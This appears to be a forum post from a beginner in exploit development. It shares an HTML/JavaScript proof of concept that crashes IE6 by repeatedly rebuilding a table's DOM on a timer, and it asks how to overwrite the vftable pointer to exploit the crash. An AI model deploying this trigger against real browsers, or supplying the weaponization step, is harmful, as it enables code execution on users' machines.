Hi
I've just recently started looking into exploit development. I have this PoC that crashes IE6 & according to windbg, is exploitable. But am kinda having a hard time figuring out how to over-write the data of the vftable pointer. Or maybe theres a better approach? Any *pointers*?
Code:<HTML> <HEAD> <SCRIPT type="text/JavaScript"> function initall() { var tableElem = document.body.firstChild; if(tableElem.childNodes.length > 0) { tableElem.removeChild(tableElem.firstChild); } var targetBody = document.createElement('TBODY'); tableElem.appendChild(targetBody); var sampleRow = document.createElement('TR'); var cell = document.createElement('TD'); for(var i = 0; i < 8; i++) { sampleRow.appendChild(cell.cloneNode()); } targetBody.appendChild(sampleRow); setTimeout(initall, 1); }; </SCRIPT> </HEAD> <BODY onload="initall();"> <TABLE><TBODY></TBODY></TABLE> </BODY> </HTML>